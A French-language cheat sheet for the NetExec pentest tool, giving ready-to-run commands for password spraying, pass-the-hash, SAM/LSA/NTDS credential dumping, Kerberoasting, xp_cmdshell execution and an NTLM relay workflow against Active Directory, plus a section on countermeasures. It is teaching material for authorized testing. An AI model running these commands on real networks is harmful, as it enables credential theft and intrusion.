NetExec
📋 Fiche Outil : NetExec (nxc)
/24 avec tentatives de connexion alertera quasi-instantanément un SOC. Conseil : Utiliser avec précision ou en modulant les délais.
Successeur officiel de CrackMapExec. Syntaxe identique : crackmapexec smb = nxc smb.
Outil Similaire : CrackMapExec (legacy), enum4linux-ng, smbmap
Outil Complémentaire : Responder (capture NTLM), Impacket (relay, exec, secretsdump), BloodHound (cartographie AD), mimikatz (extraction credentials)
Liens utiles : Port 139 et 445 – SMB, [](../Ports/N°/Port%205985%20-%20WinRM.canvas), [](../Ports/N°/Port%203389%20-%20RDP.canvas), Port 389 – LDAP, [](../Ports/N°/Port%201433%20-%20MSSQL.canvas)
NetExec (nxc) remplace l’utilisation manuelle de multiples outils (nmap, hydra, psexec, smbclient). Il agit comme un scanner intelligent multiprotocole pour :
- Cartographier : Identifier les versions Windows, les partages, la signature SMB, les services exposés.
- Valider : Tester des identifiants (Password Spraying) ou des hashs (Pass-the-Hash) sur tous les protocoles.
- Exploiter : Exécuter des commandes, dumper la SAM/LSA/NTDS, extraire des credentials en mémoire.
Indicateur clé : si l’accès est réussi, le texte s’affiche en jaune [+]. Si l’utilisateur est administrateur local, le texte s’affiche en vert avec la mention (Pwn3d!) — c’est le signal pour le mouvement latéral.
# Cible unique
nxc <protocole> <IP_cible> [options]
# Cibles multiples (format CIDR)
nxc <protocole> <IP>/24 [options]
# Authentification
nxc <protocole> <IP> -u <user | user_file> -p <pass | pass_file>
# Authentification par hash (Pass-the-Hash)
nxc <protocole> <IP> -u <user> -H <NTLM_hash>
Paramètres Globaux (communs à tous les protocoles)
| Option | Description | Exemple d’utilisation |
|---|---|---|
-u |
Nom d’utilisateur ou fichier de liste. '' pour null session |
nxc smb 10.10.10.5 -u admin |
-p |
Mot de passe ou fichier de liste. '' pour vide |
nxc smb 10.10.10.5 -u admin -p 'Pass123' |
-H |
Hash NTLM (Pass-the-Hash). Format LM:NT ou NT |
nxc smb 10.10.10.5 -u admin -H <hash> |
-d |
Domaine Active Directory | nxc smb 10.10.10.5 -u admin -p 'pass' -d CORP |
--local-auth |
Force l’authentification locale (.Administrateur) |
nxc smb 10.10.10.5 -u admin -p 'pass' --local-auth |
--continue-on-success |
Continuer après un succès (spray) | nxc smb 10.10.10.5 -u users.txt -p 'pass' --continue-on-success |
-M |
Charger un module post-exploitation | nxc smb 10.10.10.5 -u admin -p 'pass' -M sam |
-L |
Lister les modules disponibles pour un protocole | nxc smb -L |
-x |
Exécuter une commande système (cmd.exe) | nxc smb 10.10.10.5 -u admin -p 'pass' -x "whoami" |
-X |
Exécuter une commande PowerShell | nxc smb 10.10.10.5 -u admin -p 'pass' -X "Get-Process" |
--no-bruteforce |
Ne pas tester les combinaisons croisées user/pass | nxc smb 10.10.10.5 -u users.txt -p pass.txt --no-bruteforce |
SMB (nxc smb)
SMB est le protocole principal de NetExec. Il permet l’énumération complète d’un environnement AD, le test d’identifiants, le mouvement latéral, le dump de hash et l’exécution de commandes. C’est le point d’entrée classique d’un pentest AD.
Paramètres SMB
| Option | Description | Exemple d’utilisation |
|---|---|---|
--shares |
Lister les partages SMB et droits d’accès (READ/WRITE) |
nxc smb 10.10.10.5 --shares |
--users |
Énumérer les utilisateurs via RPC | nxc smb 10.10.10.5 --users |
--users-export |
Exporter la liste d’utilisateurs dans un fichier | nxc smb 10.10.10.5 --users-export users.txt |
--groups |
Énumérer les groupes du domaine | nxc smb 10.10.10.5 --groups |
--rid-brute |
Bruteforce les RIDs pour trouver des utilisateurs | nxc smb 10.10.10.5 --rid-brute |
--pass-pol |
Afficher la politique de mot de passe du domaine | nxc smb 10.10.10.5 -u 'user' -p 'pass' --pass-pol |
--sam |
Dump de la base SAM locale. Nécessite admin | nxc smb 10.10.10.5 -u admin -p 'pass' --sam |
--lsa |
Dump des secrets LSA | nxc smb 10.10.10.5 -u admin -p 'pass' --lsa |
--ntds |
Dump de la base NTDS.dit (DCSync). Nécessite Domain Admin | nxc smb 10.10.10.5 -u admin -p 'pass' --ntds |
--sessions |
Lister les sessions actives | nxc smb 10.10.10.5 -u admin -p 'pass' --sessions |
--gen-relay-list |
Générer une liste de cibles pour NTLM relay | nxc smb --gen-relay-list targets.txt 10.10.10.0/24 |
Commandes Essentielles SMB
Découverte de machines SMB sur un sous-réseau :
nxc smb 192.168.1.0/24
Énumération anonyme (null session) des partages et utilisateurs :
nxc smb 10.10.10.5 -u '' -p '' --shares
nxc smb 10.10.10.5 -u '' -p '' --rid-brute
nxc smb 10.10.10.5 -u '' -p '' --users
Export de la liste d’utilisateurs dans un fichier :
nxc smb 10.10.10.5 -u '' -p '' --users-export users.txt
Test d’identifiants et vérification de la politique de mot de passe :
nxc smb 10.10.10.5 -u 'admin' -p 'Password1'
nxc smb 10.10.10.5 -u 'user' -p 'pass' --pass-pol
Pass-the-Hash sur SMB :
nxc smb 10.10.10.5 -u 'admin' -H '<NTLM_HASH>'
Exécution de commande à distance (nécessite Pwn3d!) :
nxc smb 10.10.10.5 -u 'admin' -p 'pass' --local-auth -x "whoami"
Dump de hash (SAM, LSA, NTDS) :
nxc smb 10.10.10.5 -u admin -p 'pass' --sam
nxc smb 10.10.10.5 -u admin -p 'pass' --lsa
nxc smb 10.10.10.5 -u admin -p 'pass' --ntds
Exemples Pratiques SMB
1. Reconnaissance initiale (Null Session / Guest)
Tenter de lister les partages ou utilisateurs sans identifiants.
nxc smb 192.168.1.0/24 -u '' -p '' --shares
nxc smb 192.168.1.0/24 -u 'guest' -p '' --shares
_Explication : Teste l’accès anonyme et le compte guest sur tout le sous-réseau. Affiche les partages disponibles avec les droits READ/WRITE. Certaines machines refuseront la null session._
2. Password Spraying sur un domaine
Tester un mot de passe courant sur une liste d’utilisateurs récupérée.
nxc smb 10.10.10.0/24 -u users.txt -p 'Bienvenue123!' --continue-on-success
_Explication : Teste le mot de passe Bienvenue123! pour chaque utilisateur du fichier users.txt. L’option --continue-on-success trouve toutes les machines accessibles au lieu de s’arrêter au premier match._
3. Cartographie des droits admin (chasse au Pwn3d!)
Identifier sur quelles machines l’utilisateur compromis est administrateur local.
nxc smb 192.168.1.0/24 -u 'j.doe' -p 'Password123'
_Explication : Teste les credentials sur tout le sous-réseau. Les lignes vertes avec (Pwn3d!) indiquent les machines où j.doe est administrateur local — cibles prioritaires pour le mouvement latéral._
4. Exécution de commande (mouvement latéral)
Exécuter une commande sur une cible compromise avec un compte local.
nxc smb 10.10.10.50 -u 'Administrateur' -p 'Pass123' --local-auth -x "whoami"
_Explication : --local-auth force l’authentification avec le compte local .Administrateur. -x exécute la commande via cmd.exe. Nécessite le statut (Pwn3d!)._
5. Extraction de hashs (post-exploitation)
Dumper la base SAM locale pour récupérer d’autres accès.
nxc smb 10.10.10.50 -u 'Administrateur' -p 'Pass123' --local-auth -M sam
_Explication : Le module -M sam extrait les hash de la base SAM locale. Ces hash peuvent être réutilisés en Pass-the-Hash sur d’autres machines du réseau._
6. Dump NTDS.dit (DCSync sur un Domain Controller)
Récupérer tous les hash du domaine via une attaque DCSync/DCSync.md).
nxc smb 10.10.10.5 -u 'admin' -p 'password' --ntds
_Explication : Exploite la vulnérabilité DCSync pour extraire la base NTDS.dit contenant tous les hash NTLM du domaine. Nécessite des droits Domain Admin ou des privilèges de réplication._
7. Génération de liste pour NTLM Relay
Créer un fichier de cibles vulnérables au NTLM relay (SMB signing désactivé).
nxc smb --gen-relay-list smb_targets.txt 10.10.11.0/24
_Explication : Identifie les machines avec signing:False. Ces machines sont vulnérables au NTLM relay. Le résultat est sauvegardé dans smb_targets.txt pour ntlmrelayx.py._
Modules SMB notables
Lister tous les modules disponibles :
nxc smb -L
# sam — dump de la base SAM locale
nxc smb 192.168.1.100 -u admin -p 'pass' --local-auth -M sam
# lsassy — extraction de credentials en mémoire (alternative à mimikatz)
nxc smb 192.168.1.0/24 -u admin -p 'pass' -M lsassy
# spider_plus — recherche de fichiers sensibles dans les partages
nxc smb 192.168.1.100 -u admin -p 'pass' -M spider_plus
# webdav — énumération des services WebDAV
nxc smb 192.168.1.0/24 -u admin -p 'pass' -M webdav
WinRM (nxc winrm)
WinRM (Windows Remote Management) est le protocole utilisé par PowerShell Remoting. Il permet d’exécuter des commandes à distance sur les machines Windows où le service est activé. Vecteur de mouvement latéral puissant car il donne un shell interactif complet.
Paramètres WinRM
| Option | Description | Exemple d’utilisation |
|---|---|---|
-x |
Exécuter une commande système (cmd.exe) | nxc winrm 10.10.10.5 -u admin -p 'pass' -x "whoami" |
-X |
Exécuter une commande PowerShell | nxc winrm 10.10.10.5 -u admin -p 'pass' -X "Get-Process" |
--no-bruteforce |
Ne pas tester les combinaisons croisées user/pass | nxc winrm 10.10.10.5 -u users.txt -p pass.txt --no-bruteforce |
Commandes Essentielles WinRM
Test d’identifiants via WinRM :
nxc winrm 10.10.10.5 -u 'admin' -p 'Password1'
Pass-the-Hash via WinRM :
nxc winrm 10.10.10.5 -u 'admin' -H '<NTLM_HASH>' -d 'CORP'
Exécution de commande système (cmd.exe) :
nxc winrm 10.10.10.5 -u 'admin' -p 'pass' -x "whoami /all"
Exécution de commande PowerShell :
nxc winrm 10.10.10.5 -u 'admin' -p 'pass' -X "Get-ADUser -Filter * | Select Name"
Exemples Pratiques WinRM
1. Validation d’accès WinRM sur un réseau
Identifier les machines où WinRM est activé et où les credentials fonctionnent.
nxc winrm 192.168.1.0/24 -u 'j.doe' -p 'Password123'
_Explication : Scanne tout le sous-réseau sur le port 5985. Un [+] indique que les credentials sont valides et WinRM est accessible. (Pwn3d!) indique qu’on peut exécuter des commandes._
2. Mouvement latéral via Pass-the-Hash
Utiliser un hash NTLM récupéré pour obtenir une exécution de commande via WinRM.
nxc winrm 10.10.10.50 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99' -d 'CORP.LOCAL' -x "hostname"
_Explication : Authentification en PTH via WinRM. Plus discret que SMB pour l’exécution de commandes car WinRM génère moins de logs visibles par défaut (Event ID 4648, 91)._
3. Exécution PowerShell à distance
Exécuter des commandes PowerShell avancées pour la collecte d’information.
nxc winrm 10.10.10.50 -u 'admin' -p 'pass' -X "Get-LocalUser | Select Name,Enabled"
_Explication : -X exécute via PowerShell (et non cmd.exe). Utile pour les cmdlets AD, la collecte d’info système, ou le déploiement de payloads._
LDAP (nxc ldap)
Énumération Active Directory Le protocole LDAP permet d’interroger directement l’annuaire Active Directory. NetExec l’utilise pour énumérer les utilisateurs, groupes, GPO, et pour des attaques spécifiques comme le Kerberoasting ou l’AS-REP Roasting sans passer par SMB. Souvent plus rapide que SMB pour le password spraying et l’énumération. Permet aussi de vérifier si le LDAP Signing est activé.
Paramètres LDAP
| Option | Description | Exemple d’utilisation |
|---|---|---|
--users |
Énumérer la liste complète des utilisateurs du domaine. Peut être très verbeux | nxc ldap 10.10.10.5 -u user -p 'pass' --users |
--groups |
Énumérer les groupes du domaine | nxc ldap 10.10.10.5 -u user -p 'pass' --groups |
--kerberoasting |
Identifier les comptes vulnérables au Kerberoasting. Liste les utilisateurs avec un SPN (Service Principal Name) | nxc ldap 10.10.10.5 -u user -p 'pass' --kerberoasting output.txt |
--asreproast |
Attaque AS-REP Roasting. Récupère le hash des utilisateurs dont la pré-authentification Kerberos est désactivée | nxc ldap 10.10.10.5 -u user -p 'pass' --asreproast output.txt |
--trusted-for-delegation |
Lister les comptes/machines configurés pour la délégation (Unconstrained/Constrained). Utile pour des attaques de rebond | nxc ldap 10.10.10.5 -u user -p 'pass' --trusted-for-delegation |
--password-not-required |
Lister les comptes configurés sans exigence de mot de passe. Configuration dangereuse à exploiter immédiatement | nxc ldap 10.10.10.5 -u user -p 'pass' --password-not-required |
--admin-count |
Lister les objets protégés (AdminCount=1). Indique souvent des comptes à hauts privilèges | nxc ldap 10.10.10.5 -u user -p 'pass' --admin-count |
--gmsa |
Extraire les mots de passe des comptes gMSA | nxc ldap 10.10.10.5 -u user -p 'pass' --gmsa |
--bloodhound |
Collecte basique de données pour BloodHound. Moins complet que SharpHound, mais utile pour un aperçu rapide | nxc ldap 10.10.10.5 -u user -p 'pass' --bloodhound -ns 10.10.10.5 |
-M get-desc |
Module. Extrait les descriptions des utilisateurs. Recherche souvent des mots de passe oubliés dans les descriptions | nxc ldap 10.10.10.5 -u user -p 'pass' -M get-desc |
Commandes Essentielles LDAP
Énumération des utilisateurs et groupes du domaine :
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --users
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --groups
Kerberoasting — extraction des TGS pour cracking offline :
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --kerberoasting kerb_output.txt
AS-REP Roasting — récupérer les hash des comptes sans pré-authentification Kerberos :
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --asreproast asrep_output.txt
Identification des comptes à haut privilège et mauvaises configurations :
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --admin-count
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --trusted-for-delegation
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --password-not-required
Extraction des mots de passe gMSA :
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --gmsa
Chasse aux mots de passe dans les descriptions utilisateurs :
nxc ldap 10.10.10.5 -u 'user' -p 'pass' -M get-desc
Collecte de données pour BloodHound :
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --bloodhound -ns 10.10.10.5
Exemples Pratiques LDAP
1. Test d’identifiants et vérification LDAP Signing
Vérifier si les credentials sont valides et si le serveur impose la signature LDAP.
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123'
_Explication : Teste les credentials contre le service LDAP. Si la sortie indique LDAP Signing: False, une attaque NTLM Relay vers LDAP est possible (avec ntlmrelayx.py --target ldap://10.10.10.10). C’est un check important à faire systématiquement._
2. Énumération complète du domaine
Récupérer la liste des utilisateurs, groupes et comptes à privilèges via LDAP.
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --users --groups
_Explication : Interroge l’annuaire LDAP pour lister tous les utilisateurs et groupes du domaine. Plus fiable que l’énumération SMB car interroge directement la base AD. Peut être très verbeux sur un gros domaine._
3. Password Spraying via LDAP
Tester un mot de passe sur tous les utilisateurs. Souvent plus rapide qu’en SMB.
nxc ldap 10.10.10.10 -u user_list.txt -p 'Bienvenue123!' --continue-on-success
_Explication : Alternative au spraying SMB. Le spraying via LDAP est souvent plus rapide et peut contourner certaines restrictions SMB. Vérifier la politique de lockout au préalable avec nxc smb <IP> --pass-pol._
4. AS-REP Roasting
Chercher des utilisateurs vulnérables sans avoir besoin d’être admin.
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --asreproast asrep_hashes.txt
_Explication : Identifie les comptes avec l’attribut DONT_REQUIRE_PREAUTH activé et récupère leur hash AS-REP. Le hash peut être cracké offline avec Hashcat (-m 18200). Ne nécessite aucun privilège particulier — n’importe quel utilisateur authentifié peut lancer cette attaque._
5. Kerberoasting
Identifier les comptes de service avec un SPN et extraire les tickets TGS pour cracking offline.
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --kerberoasting kerb_hashes.txt
_Explication : Recherche les comptes utilisateurs avec un Service Principal Name (SPN) et demande un ticket TGS pour chacun. Les tickets sont sauvegardés dans kerb_hashes.txt au format Hashcat (-m 13100) / John pour cracking offline._
6. Chasse aux mots de passe dans les descriptions
Utiliser le module get-desc pour lire le champ « Description » de tous les comptes.
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' -M get-desc
_Explication : Les administrateurs laissent parfois des mots de passe ou des indices dans le champ description des comptes utilisateurs ou de service. Ce module les extrait automatiquement. Quick win fréquent en pentest AD._
7. Identification de mauvaises configurations AD
Rechercher les comptes avec des configurations dangereuses.
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --trusted-for-delegation
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --password-not-required
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --admin-count
_Explication : --trusted-for-delegation révèle les comptes/machines avec délégation non contrainte (risque d’impersonation, attaques de rebond complexes). --password-not-required trouve les comptes qui peuvent avoir un mot de passe vide — à exploiter immédiatement. --admin-count liste les objets protégés (AdminCount=1), souvent des comptes à hauts privilèges._
8. Collecte BloodHound
Récupérer toutes les données nécessaires pour la cartographie AD avec BloodHound.
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --bloodhound -ns 10.10.10.10
_Explication : Collecte les relations AD (groupes, sessions, ACL, etc.) et génère les fichiers JSON importables dans BloodHound. Moins complet que SharpHound mais utile pour un aperçu rapide sans déposer d’exécutable sur la cible. -ns spécifie le serveur DNS à utiliser pour la résolution._
RDP (nxc rdp)
Le protocole RDP permet de tester des identifiants sur le service Bureau à distance et de prendre des captures d’écran des sessions actives. Utile pour valider des credentials et identifier visuellement ce qui tourne sur les machines.
Paramètres RDP
| Option | Description | Exemple d’utilisation |
|---|---|---|
--nla |
Vérifier si Network Level Authentication est activé | nxc rdp 10.10.10.5 --nla |
--screenshot |
Prendre une capture d’écran de la session RDP | nxc rdp 10.10.10.5 -u admin -p 'pass' --screenshot |
--screentime |
Durée d’attente avant screenshot (en secondes) | nxc rdp 10.10.10.5 -u admin -p 'pass' --screenshot --screentime 5 |
Commandes Essentielles RDP
Test d’identifiants via RDP :
nxc rdp 10.10.10.5 -u 'admin' -p 'Password1'
Test d’identifiants sur un sous-réseau entier :
nxc rdp 192.168.1.0/24 -u 'admin' -p 'Password1'
Vérification de NLA (Network Level Authentication) :
nxc rdp 192.168.1.0/24 --nla
Capture d’écran d’une session RDP active :
nxc rdp 10.10.10.5 -u 'admin' -p 'pass' --screenshot --screentime 5
Exemples Pratiques RDP
1. Validation d’identifiants RDP sur un réseau
Tester des credentials sur toutes les machines avec RDP exposé.
nxc rdp 192.168.1.0/24 -u 'admin' -p 'Password123' --continue-on-success
_Explication : Scanne le port 3389 sur tout le sous-réseau et teste les identifiants. Un [+] indique que les credentials sont valides. Utile pour vérifier la réutilisation de mots de passe._
2. Password Spraying via RDP
Tester un mot de passe courant contre une liste d’utilisateurs.
nxc rdp 10.10.10.5 -u users.txt -p 'Welcome2024!' --continue-on-success
_Explication : Alternative au spraying SMB. Le spraying via RDP peut être moins détecté par certains EDR qui se concentrent sur SMB. Vérifier la politique de lockout au préalable._
3. Capture d’écran à distance
Prendre un screenshot de ce qui est affiché sur une session RDP.
nxc rdp 10.10.10.50 -u 'admin' -p 'pass' --screenshot --screentime 10
_Explication : Se connecte en RDP, attend 10 secondes et prend un screenshot. Utile pour identifier visuellement les applications en cours, les documents ouverts, ou les sessions utilisateur actives. Les screenshots sont sauvegardés localement._
MSSQL (nxc mssql)
Le protocole MSSQL permet de tester des identifiants sur les serveurs SQL Server, d’exécuter des requêtes SQL et des commandes système via xp_cmdshell. Les serveurs SQL sont souvent liés à des comptes de service avec des privilèges élevés dans le domaine.
Paramètres MSSQL
| Option | Description | Exemple d’utilisation |
|---|---|---|
-q |
Exécuter une requête SQL | nxc mssql 10.10.10.5 -u sa -p 'pass' -q "SELECT @@version" |
-x |
Exécuter une commande système via xp_cmdshell | nxc mssql 10.10.10.5 -u sa -p 'pass' -x "whoami" |
--local-auth |
Authentification SQL (compte SQL, pas Windows) | nxc mssql 10.10.10.5 -u sa -p 'pass' --local-auth |
Commandes Essentielles MSSQL
Test d’identifiants sur SQL Server :
nxc mssql 10.10.10.5 -u 'sa' -p 'Password1'
Authentification SQL locale (compte SQL et non Windows) :
nxc mssql 10.10.10.5 -u 'sa' -p 'Password1' --local-auth
Exécution d’une requête SQL :
nxc mssql 10.10.10.5 -u 'sa' -p 'pass' -q "SELECT name FROM sys.databases"
Exécution de commande système via xp_cmdshell :
nxc mssql 10.10.10.5 -u 'sa' -p 'pass' -x "whoami"
Exemples Pratiques MSSQL
1. Test d’identifiants SQL Server
Tester le compte sa (System Administrator) par défaut.
nxc mssql 192.168.1.0/24 -u 'sa' -p 'sa' --local-auth
nxc mssql 192.168.1.0/24 -u 'sa' -p '' --local-auth
_Explication : Teste le compte sa avec un mot de passe faible ou vide sur tout le sous-réseau. L’authentification SQL (--local-auth) est séparée de l’authentification Windows._
2. Exécution de commande via xp_cmdshell
Obtenir un shell système via SQL Server.
nxc mssql 10.10.10.50 -u 'sa' -p 'password' --local-auth -x "whoami"
_Explication : Utilise xp_cmdshell pour exécuter des commandes système. Le service SQL Server tourne souvent sous un compte de service avec des privilèges élevés (NT SERVICEMSSQLSERVER ou un compte de domaine)._
3. Énumération des bases de données
Lister les bases de données disponibles pour identifier des données sensibles.
nxc mssql 10.10.10.50 -u 'sa' -p 'password' --local-auth -q "SELECT name FROM sys.databases"
_Explication : Liste toutes les bases de données de l’instance SQL. Chercher des bases comme credentials, passwords, backup, ou des bases métier contenant des données sensibles._
SSH (nxc ssh)
Le protocole SSH permet de tester des identifiants sur les serveurs Linux/Unix. Utile pour le bruteforce, le password spraying et l’exécution de commandes à distance sur des machines non-Windows.
Commandes Essentielles SSH
Test d’identifiants SSH :
nxc ssh 10.10.10.5 -u 'root' -p 'password'
Password spraying sur des serveurs Linux :
nxc ssh 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success
Exécution de commande à distance :
nxc ssh 10.10.10.5 -u 'root' -p 'password' -x "id"
Exemples Pratiques SSH
1. Test de credentials sur des serveurs Linux
Tester des identifiants par défaut courants sur tout un sous-réseau.
nxc ssh 192.168.1.0/24 -u 'admin' -p 'admin'
nxc ssh 192.168.1.0/24 -u 'root' -p 'toor'
_Explication : Teste des identifiants par défaut courants (admin/admin, root/toor) sur les serveurs SSH du réseau. Plus rapide que Hydra pour un scan de masse._
2. Bruteforce avec listes
Tester plusieurs combinaisons utilisateur/mot de passe.
nxc ssh 10.10.10.5 -u users.txt -p passwords.txt --continue-on-success
_Explication : Teste toutes les combinaisons des fichiers de listes. --continue-on-success pour ne pas s’arrêter au premier match. Attention au rate limiting SSH (fail2ban, etc.)._
FTP (nxc ftp)
Le protocole FTP permet de tester des identifiants et l’accès anonyme sur les serveurs FTP. Souvent négligé mais peut contenir des fichiers de configuration, des backups ou des credentials.
Commandes Essentielles FTP
Test d’accès anonyme :
nxc ftp 192.168.1.0/24 -u 'anonymous' -p ''
Test d’identifiants :
nxc ftp 10.10.10.5 -u 'admin' -p 'password'
Password spraying :
nxc ftp 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success
Exemples Pratiques FTP
1. Recherche d’accès anonyme sur un réseau
Identifier les serveurs FTP autorisant l’accès anonyme.
nxc ftp 192.168.1.0/24 -u 'anonymous' -p ''
nxc ftp 192.168.1.0/24 -u 'anonymous' -p 'anonymous'
_Explication : Scanne tout le sous-réseau pour trouver les serveurs FTP avec accès anonyme. Souvent des serveurs de backup ou de transfert contenant des fichiers sensibles (configs, scripts, credentials)._
VNC (nxc vnc)
Le protocole VNC permet de tester des identifiants sur les serveurs VNC. VNC utilise souvent une authentification par mot de passe uniquement (sans nom d’utilisateur).
Commandes Essentielles VNC
Test de mot de passe VNC :
nxc vnc 10.10.10.5 -p 'password'
Scan de serveurs VNC sur un réseau :
nxc vnc 192.168.1.0/24 -p 'password'
Exemples Pratiques VNC
1. Test de mots de passe courants sur VNC
Tester des mots de passe par défaut sur les serveurs VNC.
nxc vnc 192.168.1.0/24 -p 'password'
nxc vnc 192.168.1.0/24 -p 'vnc'
_Explication : VNC utilise souvent un mot de passe seul (pas de nom d’utilisateur). Les mots de passe par défaut sont fréquents sur les serveurs VNC mal configurés._
Base de données intégrée (nxcdb)
NetExec stocke automatiquement tous les résultats (credentials, machines, hash) dans une base SQLite locale. On peut la requêter avec nxcdb.
nxcdb
# Puis dans le shell interactif :
proto smb
creds
hosts
_Explication : Permet de retrouver les credentials et machines découverts lors de sessions précédentes sans relancer les scans. Très utile pour reprendre un pentest ou croiser les résultats entre protocoles._
Astuces & Ressources NetExec
Suivi & Recommandation
Workflow complet d’utilisation de NetExec dans un pentest AD. Toujours commencer par vérifier la politique de mot de passe avant tout bruteforce.
Étape 1 — Vérification de la politique de mot de passe (CRITIQUE avant tout spraying).
nxc smb 10.10.10.5 -u 'user' -p 'pass' --pass-pol
_Si Account Lockout Threshold est bas (ex : 3 ou 5), le bruteforce est interdit — risque de lockout massif._
Étape 2 — Découverte réseau et identification des cibles. Vérifier la signature SMB.
nxc smb 10.10.10.0/24
_signing:False = cible potentielle pour du NTLM Relaying avec ntlmrelayx.py._
Étape 3 — Énumération sans credentials (null session, guest, RID brute).
nxc smb 10.10.10.5 -u '' -p '' --shares --users --rid-brute
Étape 4 — Password spraying avec les utilisateurs découverts.
nxc smb 10.10.10.5 -u users.txt -p 'Password123!' -d CORP --continue-on-success
Étape 5 — Avec des credentials valides, énumérer le domaine via LDAP.
nxc ldap 10.10.10.5 -u user1 -p 'pass' --users --groups --kerberoasting kerb.txt --asreproast asrep.txt
Étape 6 — Cartographier les droits admin et se latéraliser (SMB + WinRM).
nxc smb 10.10.10.0/24 -u user1 -p 'pass'
nxc winrm 10.10.10.0/24 -u user1 -p 'pass'
_Chercher les (Pwn3d!) sur les deux protocoles._
Étape 7 — Dump de credentials sur les machines (Pwn3d!).
nxc smb 10.10.10.50 -u admin -p 'pass' --local-auth -M sam
nxc smb 10.10.10.50 -u admin -p 'pass' --local-auth --lsa
Étape 8 — (Optionnel) NTLM Relay avec les cibles sans SMB signing.
nxc smb --gen-relay-list smb_targets.txt 10.10.10.0/24
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support
sudo responder -I eth0
Combinaisons Utiles
NetExec s’intègre dans un workflow d’attaque AD complet avec Responder, Impacket et BloodHound.
# Workflow NTLM Relay complet
nxc smb 10.10.10.0/24 --gen-relay-list smb_targets.txt
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support
sudo responder -I eth0
nxc smb 10.10.10.0/24 -u admin -H <hash_récupéré> --sam
# Kerberoasting → cracking offline → réutilisation
nxc ldap 10.10.10.5 -u user -p 'pass' --kerberoasting kerb.txt
hashcat -m 13100 kerb.txt wordlist.txt
nxc smb 10.10.10.0/24 -u svc_account -p 'crackedpassword'
# Collecte BloodHound via LDAP
nxc ldap 10.10.10.5 -u user -p 'pass' --bloodhound -ns 10.10.10.5
# Enrichir un scan avec modules
nxc smb 192.168.1.0/24 -u admin -p 'pass' -M spider_plus
nxc smb 192.168.1.0/24 -u admin -p 'pass' -M lsassy
Cas Particuliers & Pièges
(Pwn3d!)vs[+]: Un[+]jaune signifie que les credentials sont valides.(Pwn3d!)vert signifie en plus que l’utilisateur est administrateur local — c’est l’indicateur clé pour le dump et l’exécution de commandes.--local-auth: Indispensable pour tester un compte local (ex :.Administrateur). Sans ce flag, l’authentification se fait contre le domaine par défaut. Aussi nécessaire pour l’authentification SQL (nxc mssql).- Lockout : TOUJOURS vérifier la politique avec
--pass-polavant tout password spraying. UnAccount Lockout Thresholdbas = bruteforce interdit. - SMB signing : Lors du scan initial, nxc indique
signing:TrueouFalse.signing:True= pas vulnérable au NTLM relay. - OPSEC : NetExec est extrêmement bruyant. Chaque tentative génère un Event ID 4625/4624. Un SOC détectera rapidement un scan massif.
- VNC : Pas de nom d’utilisateur, seulement
-p. Ne pas mettre-u. - CrackMapExec vs NetExec : CME n’est plus maintenu. La syntaxe est identique :
crackmapexec smb=nxc smb.
Défense & Ressources
Contre-mesures & Détection
- Activer SMB signing sur toutes les machines pour bloquer le NTLM relay
- Désactiver NTLMv1 et forcer NTLMv2 minimum
- Politique de lockout : Configurer un seuil de verrouillage pour limiter le password spraying
- Logs à surveiller : Event ID 4625 (échec auth), 4624 (succès type 3 réseau), 4776 (validation NTLM), 4648 (logon explicite WinRM), 91 (WinRM)
- IDS/IPS : Les signatures de NetExec sont détectées par la plupart des EDR modernes
- Segmentation réseau : Limiter l’accès SMB (445), WinRM (5985), RDP (3389) entre postes de travail
- LAPS : Déployer Local Administrator Password Solution pour casser le mouvement latéral
- Désactiver les null sessions et le compte guest
- Désactiver
xp_cmdshellsur les serveurs SQL Server - Restreindre WinRM aux seuls administrateurs et machines autorisées via GPO
- Auditer les SPN : Supprimer les SPN inutiles sur les comptes utilisateurs (limiter le Kerberoasting)
- Pré-authentification Kerberos : S’assurer qu’elle est activée sur tous les comptes (limiter l’AS-REP Roasting)
Installation
# Préinstallé sur Kali Linux (versions récentes)
# Sinon :
sudo apt install netexec
# Ou via pipx (recommandé)
pipx install netexec
# Vérifier l'installation
nxc --version
Équivalent Windows
NetExec propose des builds Windows (nxc.exe). Côté outils natifs Windows :
| Linux | Windows | Notes |
|---|---|---|
nxc smb |
nxc.exe smb |
NetExec a des builds Windows |
nxc winrm -x |
Invoke-Command (PowerShell) |
Exécution à distance native |
nxc smb --sam |
reg save / secretsdump.py |
Dump SAM |
nxc smb --users |
net user /domain |
Énumération utilisateurs |
nxc ldap --users |
Get-ADUser -Filter * |
Énumération AD via PowerShell |
nxc mssql -q |
sqlcmd |
Requêtes SQL natives |
nxc rdp |
mstsc.exe / cmdkey |
Client RDP natif |
Liens & Ressources
| Type | Lien | |
|---|---|---|
| Documentation officielle | [NetExec Wiki](https://www.netexec.wiki/) | |
| GitHub | [NetExec GitHub](https://github.com/Penntest-dad/NetExec) | |
| HackTricks — SMB | [HackTricks – SMB Pentesting](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb.html) | |
| HackTricks — WinRM | [HackTricks – WinRM](https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html) | |
| HackTricks — MSSQL | [HackTricks – MSSQL](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server.html) | |
| HackTricks — LDAP | [HackTricks – LDAP](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html) | |
